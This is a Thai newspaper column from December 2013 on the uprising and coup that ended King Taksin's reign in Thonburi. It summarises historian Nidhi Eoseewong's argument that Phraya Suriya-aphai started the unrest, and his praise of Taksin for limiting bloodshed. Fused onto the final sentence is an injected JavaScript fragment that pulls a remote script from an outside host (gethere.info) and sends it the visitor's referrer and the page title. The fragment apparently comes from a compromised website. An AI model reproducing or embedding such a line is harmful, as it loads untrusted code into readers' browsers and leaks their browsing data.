มติชนรายวัน ฉบับประจำวันจันทร์ที่ 9 ธันวาคม 2556

 

จลาจล กรุงธนบุรี

          จลาจลในกรุงธนบุรีก่อนสิ้นพระเจ้าตาก มักเข้าใจกันทั่วไปตามที่มีในพงศาวดารว่า

          พระยาสรรค์ที่พระเจ้าตากให้ไปจับตัวพวกกบฏกรุงเก่า(มีนายบุนนากบ้านแม่ลา กับขุนสุระ เป็นต้น) แต่กลับไปเข้าด้วย แล้วยกทัพกบฏลงมายึดเมืองธนบุรี จับได้พระเจ้าตาก

          พระยาสุริยอภัย(หลาน ร.1) เจ้าเมืองโคราช รู้ภายหลังว่ามีจลาจลในเมืองธนบุรี จึงยกทัพลงมาอยู่ทางบ้านปูน เหนือสวนมังคุด(บริเวณตรอกวังหลัง ถึงโรงพยาบาลศิริราชทุกวันนี้)

          แต่ อ. นิธิ เอียวศรีวงศ์ กลับอธิบายตรงข้ามเป็นว่าพระยาสุริยอภัยเองด้วยซ้ำที่เป็นต้นเหตุของจลาจลในกรุงธนบุรี(มีคำอธิบายพร้อมหลักฐานจำนวนมากในหนังสือ การเมืองไทย สมัยพระเจ้ากรุงธนบุรี สำนักพิมพ์มติชน พิมพ์ครั้งที่ 7 พ.ศ. 2547 หน้า 496-515) จะสรุปย่อมาไว้ดังต่อไปนี้

          ในความทรงจำที่บอกเล่ากันมาในตระกูลสุรนันท์ พระยาสุริยอภัยเป็นต้นเหตุของการจลาจล

          เพราะก่อนที่จะมีราษฎรกรุงเก่าเป็นกบฏนั้น พระยาสุริยอภัยได้ยกกำลังลงมาตั้งที่เมืองธนบุรีเสียแล้ว จนเกิดรบราฆ่าฟันกันขึ้น ราษฎรแถบกรุงเก่าขึ้นไปถึงสระบุรีซึ่งอยู่ภายใต้การควบคุมของข้าหลวงเดิมพระบาทสมเด็จพระพุทธยอดฟ้าฯ จึงได้รวบรวมกำลังกันลงมาช่วยพระยาสุริยอภัย

          การยกกำลังจากนครราชสีมาลงมายังเมืองธนบุรีของพระยาสุริยอภัยนี้ไม่ได้มีเหตุ มาจากการกบฏของพระยาสรรค์ เป็นการกระทำซึ่งอาจเกิดขึ้นก่อนที่พระยาสรรค์จะพาพวกกบฏมาตีเมืองธนบุรีแล้วก็ได้ แต่ไม่มีปัญหาว่าเป็นการกระทำตามแผนการให้สอดคล้องกันกับการยึดเอาเมืองธนบุรีของพระยาสรรค์

          เมื่อกำลังของพระยาสุริยอภัยลงมาตั้งที่เมืองธนบุรี กำลังส่วนหนึ่งของพระยาสรรค์ ก็คงลดถอยลงทันที เพราะมีคนพวกหนึ่งพากันเข้าหาพระยาสุริยอภัย เช่น พวกขุนสุระ ก็คงพากันเข้าหา“นาย”เก่าของตนเอง มากกว่าที่จะอยู่เป็นกำลังให้พระยาสรรค์ต่อไป  และหลวงสรวิชิตซึ่งเป็นนายด่านอยู่อุทัยธานี ได้เข้ามาอยู่ที่ธนบุรีด้วยเหตุใดก็ตาม ก็ได้เข้าช่วยพระยาสุริยอภัย ฯลฯ

          จะเห็นได้ว่าเมื่อกองทัพของพระยาสุริยอภัยมาถึงเมืองธนบุรีนั้น กำลังของฝ่ายพระยาสุริยอภัยก็เพิ่มขึ้นอย่างรวดเร็ว โดยมีกลุ่ม“ข้าหลวงเดิม”ในพระบาทสมเด็จพระพุทธยอดฟ้าฯ พากันเกลี้ยกล่อมผู้คนคุมพรรคพวกเข้าหาจำนวนมาก ในขณะเดียวกันกำลังทางฝ่ายคู่แข่งคือพระยาสรรค์ก็กลับลดลง

          พระยาสุริยอภัย เมื่อสถาปนากรุงรัตนโกสินทร์แล้วได้เป็นกรมพระราชวังบวรสถานพิมุข (หรือวังหลัง) มีนิวาสสถานอยู่ปากคลองบางกอกน้อย (บริเวณโรงพยาบาลศิริราชเดี๋ยวนี้) และเป็นผู้อุปการะสุนทรภู่ซึ่งเกิดที่วังหลังนี้เอง

 

รัฐประหารในกรุงธนบุรี

          อ. นิธิ เอียวศรีวงศ์ ยกย่องพระเจ้าตากว่าเป็นนักการเมืองที่รู้จังหวะการเมือง ทำให้การรัฐประหารเมื่อปลายรัชกาลนองเลือดน้อยลง จะคัดมาดังนี้

          หากในฐานะนักการเมือง พระเจ้ากรุงธนบุรีจะได้เคยทรงคาดคะเนสิ่งใดผิดไว้บ้างก็ตาม แต่การคาดคะเนในเวลาบั้นปลายของรัชกาลครั้งนี้นับว่าแหลมคมและตั้งอยู่บนความเจนจัดทางการเมืองของคนที่มีประสบการณ์ทางการเมืองมาอย่างเจนจบ…คนที่ได้ฝ่าฟันอันตรายมาบนวิถีทางการเมืองที่ไม่ราบรื่นจากลูกจีนพ่อค้าเกวียนมาจนเป็นพระมหากษัตริย์

          นักการเมืองที่รู้จังหวะการเมืองพอจะก้าวขึ้นสู่สังเวียนได้สำเร็จ ไม่ว่าในสถานการณ์อย่างใด ก็นับว่าต้องอาศัยความเจนจัดทางการเมืองอย่างลึกซึ้งอยู่แล้ว แต่นักการเมืองที่สามารถรู้จังหวะจะก้าวลงจากสังเวียนได้เองนั้นยิ่งต้องอาศัยทั้งความเจนจัด พลังปัญญาและพลังในการควบคุมจิตใจตนเองอย่างสูงขึ้นไปอีกมาก

          ความรู้ในจังหวะการเมืองของพระเจ้ากรุงธนบุรีนี้ช่วยรักษาชีวิตไพร่พลไปไม่น้อย และทำให้การรัฐประหารครั้งนี้นองเลือดน้อยลง สมดังพระราชปณิธานที่ว่า “อย่าให้ยากแก่ไพร่เลย”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;